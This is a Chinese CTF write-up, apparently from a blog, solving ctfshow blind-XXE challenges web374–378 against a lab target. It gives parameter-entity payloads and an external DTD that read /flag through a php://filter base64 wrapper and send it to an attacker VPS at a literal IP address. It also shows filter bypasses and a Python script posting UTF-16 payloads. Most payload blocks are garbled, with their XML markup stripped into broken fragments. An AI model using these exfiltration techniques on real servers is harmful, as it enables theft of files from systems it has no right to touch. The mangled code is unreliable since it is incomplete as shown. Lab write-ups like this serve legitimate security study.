• xxe漏洞——无回显(ctfshow web374——378)


    ctfshow——web374

    1. /*
    2. # -*- coding: utf-8 -*-
    3. # @Author: h1xa
    4. # @Date: 2021-01-07 12:59:52
    5. # @Last Modified by: h1xa
    6. # @Last Modified time: 2021-01-07 13:36:47
    7. # @email: h1xa@ctfer.com
    8. # @link: https://ctfer.com
    9. */
    10. error_reporting(0);
    11. libxml_disable_entity_loader(false);
    12. $xmlfile = file_get_contents('php://input');
    13. if(isset($xmlfile)){
    14. $dom = new DOMDocument();
    15. $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
    16. }
    17. highlight_file(__FILE__);

    比上题少了几行代码,分别是
    $creds = simplexml_import_dom($dom); $ctfshow = $creds->ctfshow; echo $ctfshow;

    导致了这题可以注入实体但是没有回显,所以我们考虑数据外带。访问一个请求,把数据加到请求上。

    payload

    1. "php://filter/read=convert.base64-encode/resource=/flag">
    2. //参数实体 运用php伪协议读取flag
    3. "http://*******:1338/test.dtd">
    4. //参数实体 外部引用自己vps上的dtd文件
    5. %myurl;
    6. //引用参数
    7. ]>
    8. 1

    在自己的vps上的test.dtd文件脚本

    1. all " ">
    2. %all;
    3. %send;
    4. //解析后相当于
    5. all " ">
    6. send SYSTEM 'http://121.43.149.212:1337/%file;'>
    7. http://121.43.149.212:1337/%file;
    1. hacker[
    2. file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
    3. //参数实体 运用php伪协议读取flag
    4. http://121.43.149.212:1337/%file;
    5. ]>

    最后的引用来引用去的代码就相当于

    请求访问攻击者服务器的1337端口

    并且携带%file的参数

    我们打开1338端口 使靶机能够正常访问

    再监听1337端口

    查看我们flag的值

    解码可得flag

    web375

    1. error_reporting(0);
    2. libxml_disable_entity_loader(false);
    3. $xmlfile = file_get_contents('php://input');
    4. if(preg_match('/<\?xml version="1\.0"/', $xmlfile)){
    5. die('error');
    6. }
    7. if(isset($xmlfile)){
    8. $dom = new DOMDocument();
    9. $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
    10. }
    11. highlight_file(__FILE__);

    相比上题过滤了

    但是我看我上题的payload也没有<\?xml version="1.0">

    证明就是可以直接不要xml头然后绕过

    绕过方法二:

    空格绕过,我多打一个空格在?xmlversion之间就好了。题目过滤的字符串,两个之间只有一个空格,我多打一个就变成了两个,不影响功能同时也绕过了过滤。

    web376

    和上面那题比多过滤了大小写

    我们直接不加头

    管他

    web377

    1. error_reporting(0);
    2. libxml_disable_entity_loader(false);
    3. $xmlfile = file_get_contents('php://input');
    4. if(preg_match('/<\?xml version="1\.0"|http/i', $xmlfile)){
    5. die('error');
    6. }
    7. if(isset($xmlfile)){
    8. $dom = new DOMDocument();
    9. $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
    10. }
    11. highlight_file(__FILE__);

    比上题多ban了http

    用python发请求

    多个编码

    1. import requests
    2. url = 'https://eb566b22-4657-4de5-b251-7ddaded69bf8.challenge.ctf.show/'
    3. data = '''
    4. %myurl;
    5. ]>
    6. '''
    7. r = requests.post(url=url,data=data.encode('utf-16'))

    web378

    和那个xxe lab撞js了;;;

    用之间文件任意读取脚本


    ELEMENT root ANY>

    ]>
    &xxe;1

  • 相关阅读:
    3.5-构建自己的Docker镜像
    强制不允许用户缩放页面
    Python武器库开发-flask篇之路由和视图函数(二十二)
    外包就干了2个月,技术退步明显....
    toB应用私有化交付发展历程、技术对比和选型
    32_ue4进阶末日生存游戏开发[接口]
    【 OpenGauss源码学习 —— 列存储(CStore)(一)】
    [二叉树&栈] 二叉树前序遍历和中序遍历的迭代写法
    打工人都在用的AI工具(第一期)
    firewall-cmd
  • 原文地址:https://blog.csdn.net/m0_73756016/article/details/139448961